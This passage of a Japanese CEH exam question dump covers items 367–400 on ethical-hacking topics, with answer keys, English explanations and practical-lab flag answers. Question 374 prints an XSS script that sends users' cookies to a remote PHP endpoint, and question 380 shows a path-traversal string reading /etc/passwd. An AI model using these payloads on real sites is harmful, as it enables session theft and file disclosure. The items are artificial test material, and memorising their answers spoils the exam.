B. YaraRET - トロイの木馬のリバースエンジニアリングを支援し、YARAルールを生成するのに役立つため
C. Koodous - ソーシャルネットワーキングとアンチウイルスシグネチャおよびYARAルールを組み合わせてマルウェアを検出するため
D. yarGen - マルウェアファイルで識別された文字列からYARAルールを生成し、同時にグッドウェアファイルにも出現する文字列を削除するため。
正解: **D** (コメントを発表する)

質問: **368**
システムにマルウェアを感染させたり、フィッシングを使ってシステムやWebアプリケーションの認証情報を取得したりすることは、倫理的ハッキング手法のどの段階の例でしょうか？
A. 認識
B. アクセスを維持する
C. アクセス権の取得
D. スキャン
正解: (正解を表示します)

質問: **369**
バージニア州レストンのサイバーセキュリティ企業は、衛星通信機器メーカーの複数の従業員に影響を与えているエンドポイントアラートのクラスター調査を請け負った。影響を受けた従業員は全員、軌道システムエンジニアリング部門に所属しており、規制の最新情報や技術アドバイスを入手するために利用されている業界専門フォーラムに定期的にアクセスしている。
セキュリティログによると、侵害された各ワークステーションは、異常な外部接続を確立する直前に、同じ信頼できる業界ウェブサイトにアクセスしていたことが示されています。このサイトは一般ユーザーに対しては引き続き正常に動作しています。さらに分析した結果、最近追加されたスクリプトは、発信組織やブラウザプロファイルなどの特定の環境属性が事前定義された条件に一致する場合にのみ、追加コンテンツを条件付きで読み込むことが判明しました。観測されたアクティビティは、当該業界の専門家が頻繁にアクセスするサイトの日常的な閲覧に起因するものです。
この手法を最もよく表すWebアプリケーション攻撃のカテゴリはどれですか？
A. クロスサイトスクリプティング(XSS)
B. 水飲み場攻撃
C. JavaScriptハイジャック
D. メイジカートアタック
正解: **(正解を表示します)**
The scenario describes a trusted industry website being selectively weaponized by serving malicious content only to targeted visitors based on specific attributes like organization and browser profile. This aligns with a watering hole attack, where attackers compromise or manipulate a legitimate site frequented by a targeted group in order to deliver malicious payloads to those users.

質問: **370**
カリフォルニア州サンノゼにあるクラウドインフラストラクチャプロバイダーのサイバーセキュリティチームは、本番環境全体にわたる構造化された脆弱性評価を開始しました。スキャンプロセスは、各ホストでアクティブな通信プロトコルを特定することから始まりました。プロトコルがカタログ化されると、プラットフォームはそれらのポートに関連付けられているサービスを分析し、検出されたサービスに関連する脆弱性テストのみを動的に選択しました。スキャンロジックは、実行中に発見された内容に基づいて自動的に調整されました。このシナリオでは、どの脆弱性評価アプローチが示されていますか？
A. ツリーベース評価
B. サービスベースのソリューション
C. 製品ベースのソリューション
D. 推論に基づく評価
正解: **(正解を表示します)**
The scanner dynamically adapts its testing based on discovered protocols and services, selecting relevant checks during execution. This behavior reflects inference-based assessment, where findings from earlier steps guide subsequent testing decisions.

質問: **371**

Gobusterツールを使用して、特定のWebサーバー上のコンテンツを列挙する最速の方法は何でしょうか？
A. 総当たりモードと10スレッドを使用してコンテンツ列挙を実行します
B. 単語リストを使用してコンテンツ列挙を実行する
C. SSL証明書の検証をスキップします
D. 総当たりモードとランダムなファイル拡張子を使用してコンテンツ列挙を実行する
正解: (正解を表示します)

質問: **372**
侵入テスト担当者は、ネットワークにパケットを積極的に送信することなく、ネットワークトラフィックをキャプチャしたいと考えています。どのネットワークインターフェイスモードを使用すると、テスターはネットワークアダプタから見えるすべてのフレームを受信できますか？
A. 管理モード
B. 乱交モード
C. マスターモード
D. モニターモード
正解: (正解を表示します)
Promiscuous mode instructs a network interface to deliver all received Ethernet frames to the operating system, regardless of destination MAC address. It is commonly used for wired packet capture. Monitor mode is specific to wireless interfaces and captures raw 802.11 frames rather than Ethernet traffic.

質問: **373**
暗号における 衝突攻撃」とは何ですか？
A. 衝突攻撃は、同じハッシュ値を生成する2つの入力を見つけようとします。
B. 衝突攻撃は公開鍵の取得を試みる
C. 衝突攻撃はハッシュを3つの部分に分割して平文の値を取得しようとします
D. 衝突攻撃はハッシュを2つの部分に分割し、それぞれの部分のバイトを同じにして秘密鍵を取得しようとします。
正解: (正解を表示します)
A collision attack attempts to find two different inputs that generate the same hash value, undermining the integrity properties of the hash function.

質問: **374**
ジュディはフォーラムを作成した。ある日、彼女はユーザーがコメントを書かずに奇妙な画像を投稿していることに気づく。彼女はすぐにセキュリティ専門家に連絡し、専門家はそれらの画像の背後に以下のコードが隠されていることを発見した。

```
<script>
document.write('<img.src="https://localhost/submitcookie.php? cookie ='+ escape
(document.cookie) +"' />);
</script>
```


画像をクリックしたユーザーにはどのような問題が発生しましたか？

A. このコードはユーザーを別のサイトにリダイレクトします。
B. このPHPファイルは、コードをサイレントに実行し、ユーザーのセッションクッキーとセッションIDを取得します。
C. このコードはブラウザに新しいクッキーを挿入します。
D. このコードは、ユーザーのユーザー名とパスワードを収集しようとするウイルスです。
正解: **(**正解を表示します**)**

質問: **375**
ミネソタ州ミネアポリスに本社を置く全国展開の小売チェーンは、ピーク時のショッピング期間のパフォーマンス向上を目的としたフロントエンド配信レイヤーを備えた顧客特典ポータルを運営しています。承認されたセキュリティ評価の際、テスターはプロモーションページにアクセスしながら、通常とは異なるヘッダーの組み合わせと変更されたクエリパラメータを含む特別に細工されたリクエストを送信します。その後まもなく、標準ブラウザで同じプロモーションページにアクセスした他の正規ユーザーは、アプリケーションが通常生成するコンテンツとは異なる変更されたコンテンツを受け取り始めます。テスターが基となるオリジンシステムに直接アクセスすると、応答は期待される正規バージョンを反映しています。しばらく時間が経過し、通常のトラフィックが増加すると、予期しないコンテンツは配信されなくなります。この観測された動作を最もよく説明する攻撃手法を特定してください。
A. DNSリバインディング攻撃
B. DNSサーバーハイジャック
C. ウェブキャッシュポイズニング攻撃
D. SQLインジェクションの脆弱性
正解: **(**正解を表示します**)**
The tester's crafted request caused altered content to be cached by the front-end delivery layer, resulting in other users receiving the modified response. The fact that the origin server returns correct content and the issue resolves over time as the cache refreshes is characteristic of a web cache poisoning attack.

質問: **376**
あなたは侵入テスト担当者として、クライアントであるBrakeme SAの無線ネットワークのテストを担当します。
あなたはSSID ‘Brakeme-Internal」の無線ネットワークに侵入しようとしています。このネットワークはWPA3暗号化を使用していることがわかっています。悪用できる可能性のある脆弱性は次のうちどれですか？
A. クロスサイトリクエストフォージェリ
B. ドラゴンブラッド
C. APの設定ミス
D. キー再インストール攻撃
正解: **B (**コメントを発表する**)**

質問: **377**
組織のセキュリティ専門家であるラリーは、Webサーバー上のユーザーアカウントに異常があることに気づきました。進化する攻撃を阻止するため、彼はWebサーバー上のアカウントを保護するためのいくつかの対策を採用して、Webサーバーのセキュリティを強化することにしました。Webサーバー上のユーザーアカウントを保護するために、ラリーは次のどの対策を実施する必要がありますか？
A. 対話型ログインを必要としないものの、存在すべき非対話型アカウントをすべて有効にします。
B. OSのインストール時に作成された未使用のデフォルトユーザーアカウントを有効にします。
C. 管理者またはルートレベルのアクセスを最小限のユーザー数に制限します。
D. 未使用のモジュールとアプリケーション拡張機能をすべて保持します。
正解: **(**正解を表示します**)**

質問: **378**
ドメイン名サービスに関して言えば、ゾーンとは何ですか？
A. ドメインの集合
B. ゾーンネームスペース
C. 別名記録のコレクション
D. リソースレコードのコレクション
正解: **(**正解を表示します**)**
In DNS, a zone is a portion of the DNS namespace administered by a specific organization or administrator and contains a collection of resource records, such as A, MX, CNAME, and NS records, for the managed domain area.

質問: **379**
空欄を埋める
シナリオ
説明書
あなたは、情報セキュリティ分野における高度な研究開発を行うITおよびITES企業であるCEHORGのレッドチームの一員として採用されました。CEHORGは全国にオフィスを構え、ネットワークインフラによってリアルタイムで接続されています。
貴社はサイバーセキュリティインシデントの増加を懸念しており、貴社にインフラ全体に対する包括的なセキュリティ監査を委託しました。
CEHORGの社内ネットワークは、他の大規模組織と同様に、複数のサブネットで構成され、それぞれに様々な組織単位が収容されています。フロントオフィスは、顧客向けコンピュータに接続する別のサブネットに接続

されています。同社は、顧客が製品やサービスを理解しやすいように、複数のキオスク端末を設置しています。また、スマートフォンやノートパソコンを持ち歩くユーザーのために、フロントオフィスにはWi-Fi接続環境も整備されています。
CEHORGの内部ネットワークは、軍事区域と非軍事区域で構成されています。セキュリティ対策として、また設計上、すべての内部リソース区域には異なるサブネットIPアドレスが設定されています。
軍事区域には、様々な部署にアプリケーションフレームワークを提供するアプリケーションサーバーが設置されています。非軍事区域には、ウェブサーバーやメールサーバーなど、組織の外部向けシステムが設置されています。本部のネットワークトポロジーとプロトコルは、本部との効率的な通信を確保するため、世界中のすべての支社に複製されています。
説明
CEH Practical試験では、C|EHプログラムで扱われる倫理的ハッキングの領域に基づいた20の課題が出題されます。試験では、それぞれに脆弱性のあるアプリケーションとサービスを含む複数の隠しマシンが用意されています。受験者は、さまざまな倫理的ハッキングの領域における知識とスキルを応用して、これらの課題を解決する必要があります。試験時間は6時間です。CEH Practicalの各課題は10ポイントで、CEH(Practical)資格を取得するには、20の課題のうち最低14の課題を解決し、合計140ポイントを獲得する必要があります。
サイバーレンジでは、Ethical Hacker Workstation、EH Workstation - 1、およびEH Workstation - 2にアクセスできます。EH Workstation - 1はParrot Securityマシンで、EH Workstation - 2はEthical Hacker Workstation - 1とEH Workstation - 2です。
- 2はWindows 11マシンです。これらのマシンは「リソース」タブから切り替えることができます。
各チャレンジにつき、最大3回まで挑戦できることにご注意ください。
利用可能なターゲットネットワーク:
10.10.55.0/24
192.168.44.0/24
192.168.200.0/24
除外事項：
10.10.55.1、10.10.55.2
192.168.44.1、192.168.44.2
192.168.200.1、192.168.200.2
EHワークステーション-1（Parrot Security）マシンにアクセスするための認証情報は以下のとおりです。
ユーザー名: attacker パスワード: toor
EH Workstation - 2 (Windows 11) にアクセスするための認証情報は以下のとおりです。
ユーザー名: Admin パスワード: Pa$$w0rd
EHワークステーション1(Parrot Security)マシン上のOpenVASにアクセスするための認証情報は以下のとおりです。
ユーザー名: admin パスワード: password
OpenVASツールを開くには、デスクトップウィンドウ上部の「アプリケーション」をクリックし、「ペネトレーションテスト」→「脆弱性分析」→「OpenVAS - Greenbone」→「Greenbone脆弱性マネージャーサービスの開始」の順に移動してOpenVASツールを起動します。

注：EHワークステーション-1 (Parrot Security)マシンのデスクトップにあるusername.txtとpassword.txtは、認証情報/パスワードのクラッキング試行に使用できます。
旗
チャレンジ：
Linux ターゲット上でリモート ログインおよびコマンドライン実行アプリケーションを活用する
10.10.55.0/24サブネットを使用して、機密ファイルStealthNet.txtにアクセスしてください。ファイルの内容を取得し、回答として提供してください。(形式：Aa*a**A**a)
正解:
My$t!(H^(k

質問: **380**
企業の内部Webアプリケーションのセキュリティ評価において、侵入テスト担当者は、Webアドレスのクエリ文字列で渡された入力値をアプリケーションがどのように処理するかを検証します。
このアプリケーションには、Web アドレスで指定されたファイル名の値に基づいてドキュメントを動的に取得する機能があります (例: https://intranet.example.com/view?file=report.txt)。この入力を ../../../../etc/passwd のようなシーケンスを含むように変更することで、テスターは意図した保存場所を超えてアクセスし、制限されたファイルにアクセスします。さらに操作を行うと、機密性の高い構成ファイル、ソースコード、内部スクリプトへのアクセスが可能になり、アプリケーションに適切な入力サニタイズとファイルアクセスパスの分離機能が欠けていることが確認できます。このシナリオは、どの攻撃手法を示していますか?
A. 総当たり攻撃を実行して管理者認証情報を取得します。
B. HTTPリクエストヘッダーに過大なデータを挿入することで、バッファオーバーフローの問題を悪用します。
C. XSS脆弱性を利用して、悪意のあるスクリプトをウェブページに挿入し、コンテンツを操作します。
D. URL パラメータでディレクトリ トラバーサル シーケンスを使用して、不正なシステム コンテンツを取得します。
正解: **(**正解を表示します**)**
The tester manipulates the filename parameter using directory traversal sequences to escape the intended directory and access unauthorized system files. This confirms a directory traversal vulnerability caused by improper input validation and insufficient restriction of file system access paths.

質問: **381**
倫理的ハッカーが、企業のITインフラストラクチャのセキュリティを評価するためにネットワークスキャンを実行しています。スキャン中に、さまざまなサービスを実行している複数のオープンポートを持つアクティブなホストを発見しました。ハッカーはTCP通信フラグを使用してホストとの接続を確立し、通信を開始します。ホストのポートにSYNパケットを送信し、SYN/ACKパケットを受信します。次に、受信したSYN/ACKパケットに対してACKパケットを送信し、オープン接続をトリガーします。倫理的ハッカーは次に次のうちどの操作を実行すべきでしょうか？
A. バッファリングされたデータについて受信アプリケーションに通知するためにPSHパケットを送信します。
B. FINまたはRSTパケットを送信して接続を閉じます。

C. 開いているポートに対して脆弱性スキャンを実行し、潜在的な弱点を特定します。
D. SYN、ACK、およびRSTフラグを使用して、同じホスト上の別のポートをスキャンします。
正解: **(**正解を表示します**)**

質問: **382**
プロのペネトレーションテスターであるアレンは、XpertTech Solutions社に雇われ、同社のネットワークリソースに対する攻撃シミュレーションを実行しました。攻撃を実行するために、彼はNetBIOS APIを利用し、NetBIOSサービスを標的にしました。NetBIOSを列挙した結果、ポート139が開いており、リモートシステム上でアクセスまたは表示可能なリソースを確認できることがわかりました。列挙中に、彼は多くのNetBIOSコードに遭遇しました。ログインしているユーザーに対して実行されているメッセンジャーサービスを取得するために使用されたNetBIOSコードを特定してください。
A. ＜1B＞
B. ＜03＞
C. ＜20＞
D. ＜00＞
正解: **B (**コメントを発表する**)**

質問: **383**
貴社は、侵入検知システム(IDS)から潜在的な侵入に関するアラートを定期的に受信しています。さらに調査を進めた結果、これらのアラートは特定の優良ソフトウェアファイルによって引き起こされた誤検知であることが判明しました。そこで、YARAルールを用いてIDSを強化し、誤検知を減らしつつ、実際の脅威の検出精度を向上させることを計画しています。このシナリオとYARAおよびIDSの原則に基づき、以下の戦略のうち、貴社の目的に最も適しているのはどれでしょうか？
A. プライベートデータベースのみを検査して侵入を検出するYARAルールを作成する
B. 既知のマルウェアシグネチャのみに焦点を当てたYARAルールを実装する
C. 誤検出を引き起こす良質なソフトウェアファイルを特定するためのYARAルールを具体的に記述する
D. YARAルールを組み込み、ファイルの種類に関係なくすべてのファイル内のパターンを検出します。
正解: **C (**コメントを発表する**)**

質問: **384**
侵入テスト担当者は、Linuxサーバーが SSH接続を受け入れるものの、数回の試行失敗後にパスワード認証を制限することを発見した。テスト担当者は既にターゲット組織の書面による承認を得ている。認証アクセスを試みながら、効率性と責任ある評価手法のバランスを最もよく取る行動はどれか？
A. 承認済みの小規模なパスワードリストを、既知の認証済みアカウントに対してテストします。
B. アカウントロックアウトメカニズムを回避するために、ユーザー名を継続的にランダム化します。
C. 複数のクラウドプロバイダーから分散型ブルートフォース攻撃を使用する。
D. 公開されているパスワードデータベースを使用して、クレデンシャルスタッフィングを試みる。
正解: **A (**コメントを発表する**)**

質問: **385**

どのタイプのマルウェアが、あるシステムから別のシステムへ、あるいはあるネットワークから別のネットワークへと拡散し、ウイルスが感染したシステムに与えるのと同様の種類の被害を引き起こしますか？
A. トロイの木馬
B. ルートキット
C. ワーム
D. アドウェア
正解: **(**正解を表示します**)**

質問: **386**
オースティンにあるHorizon Tech社で行われた侵入テストにおいて、倫理的ハッカーのマイケルは、従業員と社内Webアプリケーション間の通信を傍受するために、中間者攻撃を仕掛けた。
彼は、ARPスプーフィング、DNS操作、パケットインジェクションを実行できる軽量ツールを使用し、リアルタイム監視のための対話型インターフェースも提供しています。これにより、彼は転送中のセッショントークンをキャプチャして操作することができ、それを後でセキュリティチームにリスクの証拠として提示します。この演習でマイケルが最も使用している可能性が高いツールはどれでしょうか？
A. ベターキャップ
B. ヘティ
C. 秋
D. Wireshark
正解: **(**正解を表示します**)**
The tool described supports ARP spoofing, DNS manipulation, packet injection, and interactive real-time monitoring for man-in-the-middle attacks. Bettercap is designed specifically for such network interception and manipulation tasks, making it the most suitable choice.

質問: **387**
カリフォルニア州サクラメントにある地域保険請求プラットフォームは、受信リクエストのクエリ構造に疑わしい点がないかを評価するWebアプリケーションファイアウォールによって保護されている。正規の評価中に、テスターは従来型のインジェクション攻撃が常に拒否されることを確認した。
テスターは、データベースの意図した動作を維持しながら、リクエストの形式と構成を調整します。この変更後、リクエストはフィルタリング機構を通過し、バックエンドシステムによって中断なく処理されます。
実演されているファイアウォール回避技術はどれですか？
A. HTTPパラメータフラグメンテーション(HPF)を使用したペイロードコンポーネントの分割
B. パターンベースの検査を回避するためのクエリ構造の変換
C. 統合的アプローチによる複数の回避方法の組み合わせ
D. HTTPパラメータ汚染(HPP)を使用してクエリパラメータを上書きする
正解: **(**正解を表示します**)**
The scenario describes modifying the structure and representation of an injection payload while keeping its logical database behavior intact so it bypasses WAF detection. This aligns with transforming query structure to evade pattern-based inspection, where attackers alter syntax or formatting to avoid signature-based filtering without changing the underlying intent of the request.

質問: **388**
侵入テスト担当者が、取締役会開催予定の会議に言及したメールで、機密の議題へのアクセスを要求することで、企業の役員秘書を標的にしました。疑念を抱かれることなく必要な認証情報を入手するための最も効果的なソーシャルエンジニアリング手法は何でしょうか？
A. 偽の会議リンクを含む大量のフィッシングメールを送信する
B. 特定の会議を参照し、アクセスを要求するパーソナライズされたメールを作成する
C. 偽のLinkedInプロフィールを作成して、つながりを築き、情報を要求する
D. 信頼できるITサポート担当者を装って電話をかけ、認証情報を確認する。
正解: **(**正解を表示します**)**
A highly personalized email that references specific, legitimate events leverages trust and context, which significantly increases credibility and reduces suspicion, making it the most effective social engineering approach for obtaining credentials from executive assistants.

質問: **389**
レッドチームのオペレーターが、金融機関のインフラストラクチャに対して偵察活動を行っている。UDPポート123をプローブする際に、NTPクエリを送信し、内部IPアドレスと接続されているホスト名のリストを受信します。組織は、機密性の高いネットワーク情報が外部に漏洩していることに気づいていません。この情報漏洩の最も可能性の高い原因は何でしょうか？
A. 組織の DNS リゾルバが、内部名を漏洩させるように改ざんされています。
B. NTPデーモンは、外部ソースからのクエリを制限なく受け入れるように設定されています。
C. ファイアウォールがNTPトラフィックを内部ホストをシミュレートするハニーポットにリダイレクトしています。
D. NTP サービスは TCP フォールバックを使用しており、TCP 443 を介して列挙が可能です。
正解: **B (**コメントを発表する**)**
An NTP daemon that allows unrestricted external queries can respond with internal peer and client information, unintentionally disclosing internal IP addresses and hostnames to external attackers.

質問: **390**
プロのハッカーであるルイスは、特殊なツールや検索エンジンを使って自身の閲覧履歴をすべて暗号化し、匿名でアクセスすることで、政府機関や連邦政府の公式データベースに関する機密情報や隠蔽された情報を入手した。情報収集後、彼は追跡されることなく標的の政府機関への攻撃を成功させた。上記のシナリオで説明されている手法は次のうちどれか？
A. VoIPフットプリント
B. VPNフットプリント
C. ウェブサイトのフットプリント
D. ダークウェブのフットプリンティング
正解: **(**正解を表示します**)**

質問: **391**

ニューヨークの小売銀行で行われたレッドチーム評価において、倫理的ハッカーのアイシャは、銀行のオンラインポータルに対して大量のTCP接続開始パケットを送信しました。ターゲットは各初期ハンドシェイクパケットを受け入れましたが、3ウェイハンドシェイクを完了するための最終ACKを受信しませんでした。これにより、サーバーのバックログに蓄積された半開接続が枯渇し、正当なユーザーが新しいセッションを確立できなくなりました。アイシャが最もシミュレートしている可能性が高いのは、どのタイプのDoS攻撃でしょうか？

A. TCPサックパニック
B. RSTアタック
C. ACKフラッド
D. SYN洪水攻撃

正解: **(**正解を表示します**)**

Sending numerous TCP SYN packets without completing the handshake fills the server's queue of half-open connections, preventing new legitimate connections. This behavior defines a SYN flood attack.

質問: **392**

ウェブアプリケーションでは、ユーザーがファイルをアップロードし、後でページに動的に組み込むことができます。攻撃者はこれを悪用してコードを実行します。どのような脆弱性が存在するでしょうか？

A. LFI
B. RFI
C. CSRF
D. XSS

正解: **B (**コメントを発表する**)**

Remote File Inclusion occurs when an application dynamically includes user-controlled files without proper validation, allowing attackers to load and execute malicious code from external sources.

質問: **393**

空欄を埋める

シナリオ

説明書

あなたは、情報セキュリティ分野における高度な研究開発を行うITおよびITES企業であるCEHORGのレッドチームの一員として採用されました。CEHORGは全国にオフィスを構え、ネットワークインフラによってリアルタイムで接続されています。

貴社はサイバーセキュリティインシデントの増加を懸念しており、貴社にインフラ全体に対する包括的なセキュリティ監査を委託しました。
CEHORGの社内ネットワークは、他の大規模組織と同様に、複数のサブネットで構成され、それぞれに様々な組織単位が収容されています。フロントオフィスは、顧客向けコンピュータに接続する別のサブネットに接続されています。同社は、顧客が製品やサービスを理解しやすいように、複数のキオスク端末を設置しています。また、スマートフォンやノートパソコンを持ち歩くユーザーのために、フロントオフィスにはWi-Fi接続環境も整備されています。
CEHORGの内部ネットワークは、軍事区域と非軍事区域で構成されています。セキュリティ対策として、また設計上、すべての内部リソース区域には異なるサブネットIPアドレスが設定されています。
軍事区域には、様々な部署にアプリケーションフレームワークを提供するアプリケーションサーバーが設置されています。非軍事区域には、ウェブサーバーやメールサーバーなど、組織の外部向けシステムが設置されています。本部のネットワークトポロジーとプロトコルは、本部との効率的な通信を確保するため、世界中のすべての支社に複製されています。
説明
CEH Practical試験では、C|EHプログラムで扱われる倫理的ハッキングの領域に基づいた20の課題が出題されます。試験では、それぞれに脆弱性のあるアプリケーションとサービスを含む複数の隠しマシンが用意されています。受験者は、さまざまな倫理的ハッキングの領域における知識とスキルを応用して、これらの課題を解決する必要があります。試験時間は6時間です。CEH Practicalの各課題は10ポイントで、CEH(Practical)資格を取得するには、20の課題のうち最低14の課題を解決し、合計140ポイントを獲得する必要があります。
サイバーレンジでは、Ethical Hacker Workstation、EH Workstation - 1、およびEH Workstation - 2にアクセスできます。EH Workstation - 1はParrot Securityマシンで、EH Workstation - 2はEthical Hacker Workstation - 1とEH Workstation - 2です。
- 2はWindows 11マシンです。これらのマシンは 『リソース」タブから切り替えることができます。
各チャレンジにつき、最大3回まで挑戦できることにご注意ください。
利用可能なターゲットネットワーク:
10.10.55.0/24
192.168.44.0/24
192.168.200.0/24
除外事項：
10.10.55.1、10.10.55.2
192.168.44.1、192.168.44.2
192.168.200.1、192.168.200.2
EHワークステーション-1 (Parrot Security)マシンにアクセスするための認証情報は以下のとおりです。
ユーザー名: attacker パスワード: toor
EH Workstation - 2 (Windows 11) にアクセスするための認証情報は以下のとおりです。
ユーザー名: Admin パスワード: Pa$$w0rd
EHワークステーション1(Parrot Security)マシン上のOpenVASにアクセスするための認証情報は以下のとおりです。
ユーザー名: admin パスワード: password

OpenVASツールを開くには、デスクトップウィンドウ上部の「アプリケーション」をクリックし、「ペネトレーションテスト」→ 脆弱性分析」→ 「OpenVAS - Greenbone」→ 「Greenbone脆弱性マネージャーサービスの開始」の順に移動してOpenVASツールを起動します。
注：EHワークステーション-1 (ParrotSecurity)マシンのデスクトップにあるusername.txtとpassword.txtは、認証情報/パスワードのクラッキング試行に使用できます。
旗
チャレンジ：
あなたは、IPアドレス172.22.10.10を標的とした大規模なDDoS攻撃の調査を担当することになりました。目的は、ネットワークトラフィックを分析して悪意のあるパケットを特定し、Windowsをオペレーティングシステムとして実行している攻撃者マシンのIPアドレスを特定することです。ネットワークキャプチャファイル「Mystic-capture.pcapng」は、「EH Workstation - 2」(Windows 11)マシンのドキュメントディレクトリにあります。(形式：NN*NN*NN*NN)
正解:
10.10.55.11

質問: **394**
あなたはクラウドセキュリティソリューションを提供する企業、CloudSecのセキュリティアナリストです。あなたの顧客の1社である金融機関が、高いレベルのセキュリティ管理を維持しながら、業務をパブリッククラウドに移行したいと考えています。彼らは、すべてのクラウド リソースを継続的に監視し、潜在的なセキュリティ脅威に関するリアルタイムのアラートを受信できることを保証したいと考えています。また、すべてのクラウド ワークロードでセキュリティ ポリシーを一貫して適用したいと考えています。これらの要件を最も満たすソリューションは次のうちどれでしょうか？
A. 安全なデータ伝送のために仮想プライベートネットワーク(VPN)を実装する。
B. クラウドアクセスセキュリティブローカー(CASB)をデプロイします。
C. 保存されるすべてのデータに対してクライアント側暗号化を使用する。
D. すべてのクラウドユーザーアカウントに多要素認証を使用する。
正解: **(正解を表示します)**

質問: **395**
攻撃者は、漏洩した認証情報を使用して、複数のサービス間で脆弱なパスワードを使い回す脆弱性を悪用します。これはどのような攻撃でしょうか？
A. リプレイ
B. クレデンシャルスタッフィング
C. 力ずく
D. 辞書攻撃
正解: **(正解を表示します)**
Credential stuffing is an attack in which attackers use previously leaked or stolen username and password combinations to attempt logins across multiple services, taking advantage of users reusing passwords.

質問: **396**
大学のプロジェクトの一環として、あなたはチームのアプリケーションをホストするためのウェブサーバーを構築しました。
サイバーセキュリティへの関心から、あなたはサーバーのセキュリティ対策を主導してきました。ハッカーがサーバーの設定ミスを悪用しようとすることが多いことをあなたは認識しています。設定ミスに基づく攻撃からウェブサーバーを最も効果的に保護するには、次のうちどの対策が有効でしょうか？
A. サーバーデータの定期的なバックアップ
B. 定期的なサーバー構成監査の実施
C. ファイアウォールを実装してトラフィックをフィルタリングする
D. ユーザーに対する多要素認証の有効化
正解: **(**正解を表示します**)**

質問: **397**
中規模企業のネットワーク管理者であるあなたの役割は、会社のウェブサーバーを潜在的なセキュリティ脅威から保護することです。最近、あなたの会社のウェブサーバーが分散型サービス拒否(DDoS)攻撃を受けました。チームに状況を説明する際、攻撃は特にウェブサーバーのアプリケーション層を標的としていたと述べました。あなたの会社のウェブサーバーに対して最も可能性の高いDDoS攻撃の種類は何ですか？
A. HTTPフラッド攻撃
B. SYNフラッド攻撃
C. ICMPフラッド攻撃
D. UDPフラッド攻撃
正解: **(**正解を表示します**)**
An HTTP flood targets the application layer by overwhelming the web server with seemingly legitimate HTTP requests, exhausting server resources and degrading or denying service to real users without relying on lower-layer network flooding.

質問: **398**
シカゴのHorizon Financial Servicesで行われたレッドチーム演習中、倫理的ハッカーのクララは、同社のCEOを騙すためのメールを作成した。法務部からの緊急メモを装ったこのメールは、訴訟が係争中であることを警告し、CEOの認証情報を要求する偽の内部ポータルへのリンクを含んでいる。一般的なフィッシングとは異なり、この攻撃は意思決定権限を持つ高位の人物を標的としている。このシナリオでクララが用いているソーシャルエンジニアリングの手法はどれか？
A. クローンフィッシング
B. スピアフィッシング
C. 同意フィッシング
D. 捕鯨
正解: **(**正解を表示します**)**
Targeting a high-ranking executive with a customized message that attempts to extract credentials exemplifies whaling, a form of spear phishing aimed at senior personnel.

質問: **399**
空欄を埋める
シナリオ
説明書
あなたは、情報セキュリティ分野における高度な研究開発を行うITおよびITES企業であるCEHORGのレッドチームの一員として採用されました。CEHORGは全国にオフィスを構え、ネットワークインフラによってリアルタイムで接続されています。
貴社はサイバーセキュリティインシデントの増加を懸念しており、貴社にインフラ全体に対する包括的なセキュリティ監査を委託しました。
CEHORGの社内ネットワークは、他の大規模組織と同様に、複数のサブネットで構成され、それぞれに様々な組織単位が収容されています。フロントオフィスは、顧客向けコンピュータに接続する別のサブネットに接続されています。同社は、顧客が製品やサービスを理解しやすいように、複数のキオスク端末を設置しています。また、スマートフォンやノートパソコンを持ち歩くユーザーのために、フロントオフィスにはWi-Fi接続環境も整備されています。
CEHORGの内部ネットワークは、軍事区域と非軍事区域で構成されています。セキュリティ対策として、また設計上、すべての内部リソース区域には異なるサブネットIPアドレスが設定されています。
軍事区域には、様々な部署にアプリケーションフレームワークを提供するアプリケーションサーバーが設置されています。非軍事区域には、ウェブサーバーやメールサーバーなど、組織の外部向けシステムが設置されています。本部のネットワークトポロジーとプロトコルは、本部との効率的な通信を確保するため、世界中のすべての支社に複製されています。
説明
CEH Practical試験では、C|EHプログラムで扱われる倫理的ハッキングの領域に基づいた20の課題が出題されます。試験では、それぞれに脆弱性のあるアプリケーションとサービスを含む複数の隠しマシンが用意されています。受験者は、さまざまな倫理的ハッキングの領域における知識とスキルを応用して、これらの課題を解決する必要があります。試験時間は6時間です。CEH Practicalの各課題は10ポイントで、CEH(Practical)資格を取得するには、20の課題のうち最低14の課題を解決し、合計140ポイントを獲得する必要があります。
サイバーレンジでは、Ethical Hacker Workstation、EH Workstation - 1、およびEH Workstation - 2にアクセスできます。EH Workstation - 1はParrot Securityマシンで、EH Workstation - 2はEthical Hacker Workstation - 1とEH Workstation - 2です。
- 2はWindows 11マシンです。これらのマシンは 『リソース」タブから切り替えることができます。
各チャレンジにつき、最大3回まで挑戦できることにご注意ください。
利用可能なターゲットネットワーク:
10.10.55.0/24
192.168.44.0/24
192.168.200.0/24
除外事項：
10.10.55.1、10.10.55.2
192.168.44.1、192.168.44.2
192.168.200.1、192.168.200.2

EHワークステーション-1 (Parrot Security)マシンにアクセスするための認証情報は以下のとおりです。
ユーザー名: attacker パスワード: toor
EH Workstation - 2 (Windows 11) にアクセスするための認証情報は以下のとおりです。
ユーザー名: Admin パスワード: Pa$$w0rd
EHワークステーション1(Parrot Security)マシン上のOpenVASにアクセスするための認証情報は以下のとおりです。
ユーザー名: admin パスワード: password
OpenVASツールを開くには、デスクトップウィンドウ上部の「アプリケーション」をクリックし、「ペネトレーションテスト」→ 「脆弱性分析」→ 「OpenVAS - Greenbone」→ 「Greenbone脆弱性マネージャーサービスの開始」の順に移動してOpenVASツールを起動します。
注 :EHワークステーション-1 (Parrot Security)マシンのデスクトップにあるusername.txtとpassword.txtは、認証情報/パスワードのクラッキング試行に使用できます。
旗
チャレンジ :
組織の元従業員が、退職前に重要なアカウント認証情報を盗み出し、pixelpioneer.txt というファイルに保存しました。認証情報は 9 文字の英数字文字列です。「EH Workstation - 2」のダウンロードフォルダにある pixelpioneer.txt ファイルにアクセスしてください。このファイルはメールの添付ファイルとして識別されています。注: あなたは以下のことを知りました。
「password」はpixelpioneer.txtファイルからデータを抽出するための鍵です。(形式 :ANaa*aANaNa)
正解:
T3ch!eT1g3r

質問: **400**
2025年7月25日、イリノイ州シカゴのHorizon Financial Services社で行われた侵入テストにおいて、サイバーセキュリティ専門家のローラ・ベネットは、同社のオンラインバンキングポータルを標的とした攻撃シミュレーションを分析していた。システムログには、中央のコマンド＆コントロールサーバーを介して調整された、複数の侵害されたシステムからの協調的なトラフィックの集中攻撃が記録されており、ポータルがトラフィックで溢れかえり、正規のユーザーがアクセスできなくなっていた。この攻撃は、ソーシャルメディア上の悪意のあるリンクを介して勧誘されたと思われる、感染したデバイスのネットワークを利用していた。この協調攻撃を実行するために最も可能性の高い構造または概念は何か？
A. スマーフの攻撃
B. 分散型リフレクション型サービス拒否攻撃(DRDoS)
C. ボットネット
D. 中心源伝搬
